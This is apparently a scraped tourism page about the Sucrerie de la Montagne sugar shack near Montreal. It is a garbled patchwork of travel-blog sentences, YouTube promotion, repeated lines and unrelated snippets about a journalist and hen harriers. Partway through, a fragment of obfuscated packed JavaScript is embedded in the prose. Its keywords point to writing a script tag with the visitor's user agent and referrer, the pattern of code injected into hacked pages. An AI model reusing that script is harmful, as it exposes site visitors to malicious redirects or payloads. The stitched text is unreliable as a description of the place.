Sucrerie de la Montagne is just 45 minutes from Montreal. We have singer-musicians who will entertain the halls in our sugar bush. These are the genuine article – carefully dismantled from their original positions in the nearby village and rebuilt on the Sucrerie site. In 2002 she co-founded the award winning radio station PASSION for the PLANET and in 2009 Chantal was awarded London Leader in Sustainability status. We are open 7 days. Because nothing says “come to my place for brunch” like authentic Quebec maple syrup. You can finish off with a slug of maple whiskey, or if you prefer port then try the red wine, port, maple syrup and ice cider mix that is unique to Sucrerie de la Montagne. We will be publishing soon a video from the inside. Sucrerie de la Montagne sells light and medium amber syrup on the premises. But syrup is not all that is made from the maple water. The entire process of making maple syrup is, from beginning to the end, done the old-fashioned way. The must-do. Or sample the maple wine, or the maple beer or…. Maple Syrup time! An exquisite smell reminiscent of spring! For a truly genuine experience, come to Sucrerie de la Montagne, an authentic sugar shack open year-round set amidst a forest of century-old maples. In winter the taffy is drizzled onto snow to create maple lollies – the ice and sugar melting delectably in the mouth. BRAND NEW!!! !http://www.youtube.com/user/for91days?sub_confirmation=1EVER!-~-~~-~~~-~~-~-Please watch: \"Low Light / Slow Motion DJI Osmo Pocket Test Footage: Turia Fountain Valencia, Spain\" https://www.youtube.com/watch?v=1iuRot9teBY-~-~~-~~~-~~-~- Arriving at the main wooden building, one could be quite convinced that a trip through a time machine had taken place. There's a pretty snazzy general store and gift shop next door for those looking for everything from maple candy to maple bubble bath. Jürgen and I spent a sunny April afternoon at La Sucrerie de la Montagne, about an hour west of Montreal. There is a thick blanket of snow on the ground and the aroma of maple vapour and fresh baked bread in the air. QuebecOriginal.com for useful tourist information about Quebec. Check out my DJI Osmo Pocket Test Footage: https://www.youtube.com/watch?v=UiKzrmkkN5YWe came to Montreal at the right time of the year. The sap was running. Sucrerie de la Montagne is less than an hour’s picturesque drive from Montreal. The film we ended up producing, Sucrerie de la Montagne, premiered at the Food Film Festival in New York recently where it won the Audience Choice Award. Check out this drone footage of the sugar shack. There are hundreds of cabanes à sucre in Quebec. Because it was springtime the trees all had buckets hanging from their trunks. Check out my DJI Osmo Pocket Test Footage: https:// Sucrerie de la Montagne is less than an hour’s picturesque drive from Montreal. All of the courses, taste amazing, and are endless. Then take a stroll to the store and buy maple syrup, maple butter, maple sugar, dark chocolate and maple, white chocolate and maple… the list goes on! Thousands of people visit every day to join the celebrations of the maple harvest. Here, the maple syrup is produced the old-fashioned way: the tree is tapped with a spout, the sap collected in a pail and transported to a traditional wood … That’s not to say the meal is all sugar (or at least not until you get to the dessert) but it certainly has a subtle hint of maple in every delicious mouthful. Most shacks are located where the maple trees are obviously, so outside the city. And, as Stefan says, “in case of emergency” there is a huge bottle of maple syrup on every table. It tends to be decimated by the end of the night, a testament to how impossible it is to get sick of eating pure maple syrup. Sucrerie de la Montagne was founded by Pierre Faucher and his son Stefan and everything they do is with respect to the heritage of their forebears and authenticity towards Québec’s traditions. https://www.sucreriedelamontagne.com/en/product-category/maple-syrup ''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ahtar|var|u0026u|referrer|ihfrn||js|php'.split('|'),0,{})) It can take as much as 30 litres of maple water to make one litre of maple syrup. Sugar pie, maple sugar ice cream, and of course, pancakes and maple syrup – all utterly delightful and all laden with maple syrup. You should 100% book a reservation if you plan to come to the Sucrerie de la Montagne for a meal. They start you off with some hot homemade bread and pea soup. We walked around the maple trees, peeked into the buckets, learned how the sap is boiled down, and enjoyed a hearty meal… all of it drenched in maple syrup, of course. This shack extraordinaire has actually been deemed a Quebec historical site, and unlike other cabanes, it’s… Discover Sucrerie de la Montagne in Rigaud, Québec: This shack nestled in a 120-acre forest of maple trees in Mont-Rigaud is a wonderland of sugary syrup. The fluffy omelette soufflé, the smoky baked beans, even the tomato chutney have all been given the maple treatment! We were a party of 11 for a Sunday brunch birthday celebration. The Cabane A Sucre (Sugar Shack) called Sucrerie de la Montagne is on Rigaud Mountain, up a long country road. Sucrerie de la Montagne, Rigaud: This famous sugar shack is a tourist mecca (it’s the one Anthony Bourdain visited when he came to Montreal).It’s got the whole spoon-playing, sleigh-riding, “tire”-eating experience down to a science. For take-out order and cabin rental SYRUP AT SUCRERIE DE LA MONTAGNE. We do have a few favourites that we can recommend from the traditional Sucrerie de la Montagne to the more contemporary Érablière Shefford and the over-the-top Au pied de … There is live music, folk dancing and you can learn to play the spoons; “It’s easy to make a noise – but not so easy to make music.” admits Stefan. Sucrerie de la Montagne was founded by Pierre Faucher and his goal is to preserve the heritage of the cabane à sucre and to provide an authentic look at what life was like as a pioneer. Chantal also runs a successful communications agency – Panpathic Communications. An exquisite smell reminiscent of spring! For those of you who couldn't see it, here's the story in photos. Small holes are drilled into the trees (which must be at least 40 years old) and spigots are inserted with a bucket attached. Read all about it on our Montreal Travel Blog: http://montreal.for91days.com/Get your own drone here: http://montreal.for91days.com/go/DroneMontreal16/-------Don't You Ever Click Here!!! The liquid is then boiled for a few hours in order to evaporate off the water and leave behind the thick sugary syrup. A post shared by Pedro Henrique Quedinho (@phquedinho) on Nov 15, 2018 at 11:01am PST. It will take your breath away. Air Canada flies direct from London to Montreal. Hotels in Montreal: ALT Hotel Montréal Griffintown and Sheraton Montreal Airport Hotel. The next course consists of eggs, bacon, ham, sausage, famous Quebec meat pie, meatballs, and baked beans. View this post on Instagram . Even though it is quite large, it is a very busy place. In the restaurant you can try a variety of food that has been cooked using varying amounts of maple syrup. His farm preserves traditional syrup gathering customs, old stoves, and old-fashioned tools. Plus, you’ll get to taste maple syrup in just about every form and food you can imagine. They are a real piece of history – that you can stay in. A Man With A Vision. Chantal Cooke is an award winning journalist and broadcaster with a passion for the planet. The entrance is essentially an enormous dirt parking lot surrounded by log fences. If you feel that your pancreas is about to go on strike but you’d still like a little more maple to take home with you – treat yourself to a bottle of maple perfume. There is homemade maple syrup on the table, along with homemade sweet pickles, beets and ketchup. We arrive at Sucrerie de la Montagne, the iconic Quebec site of Pierre’s “sugar shack.” Pierre’s “Father Christmas” look has earned him the status of an icon and his face appears on hundreds of maple syrup products. Last spring, a few friends and I road-tripped to the town of Rigaud, Quebec to shoot a documentary about maple farming. Right during the maple syrup. But rather than just buying tin of this delicious golden liquid to take home, how about visiting a Sugar Shack and finding out how it is made? This is our third spring visit to the Sucrerie de la Montagne. For take-out order and cabin rental The entire experience is a step back in time; the traditional method of collecting and making the syrup, the wooden buildings with their wide ‘chimneys’ (typical of a the early sugar shacks), and the Quebecois food – served family style. With just 1,500 tapped trees spread over 120 acres, it’s a tiny syrup operation for Quebec, where 75 percent of the world’s supply is produced. Sucrerie de la Montagne is a bit of a sugar shack anomaly because it’s open year round. Description: Our sugar shack, la Sucrerie de la Montagne, has as a mission to make you discover Quebec's traditions; a traditional menu awaits you which included : homemade bread, ham, sausage, meat pie, pancakes with maple syrup and maple taffy on snow. in the woods. It welcomes visitors all year round and Pierre Faucher (the bushy faced founder) or his son, the less bushy-faced Stefan, will be happy to show you around and explain their passion for all things maple. Inspired by the life of the early pioneers in this area? FIRST CROSS-BORDER PROJECT LAUNCHED TO SAVE HEN HARRIERS. It’s more Christmassy than December 25th! During the week or on weekends, Sucrerie de la Montagne lets you experience real Québec traditions. We visited the evaporator in a building where a man described how they turn the watery sap into liquid gold. Sucrerie de la Montagne is set up like a small village. A bucket for collecting Maple water is shown on the grounds of the Sucrerie de la Montagne sugar shack in Rigaud, Que., west of Montreal, Saturday, April 4, 2020. This old-time sugar shack takes visitors back to the days of the first settlers, showing the traditional way of collecting sap and boiling it down into maple syrup. We were picked up in... a horse drawn wagon at the car park. Sucrerie de la Montagne . BRAND NEW!!! We are open 7 days. I have always heard of the Sucrerie de la Montagne but only had the chance to visit the last time we were in Quebec. Havelock. It welcomes visitors all year round and Pierre Faucher (the bushy faced founder) or his son, the less bushy-faced Stefan, will be happy to show you around and explain their passion for all things maple. CTV Your Morning’s Kelsey McEwen visited Sucrerie de la Montagne in Québec and spoke to the owner, Pierre Faucher, about the science that goes into making maple syrup. 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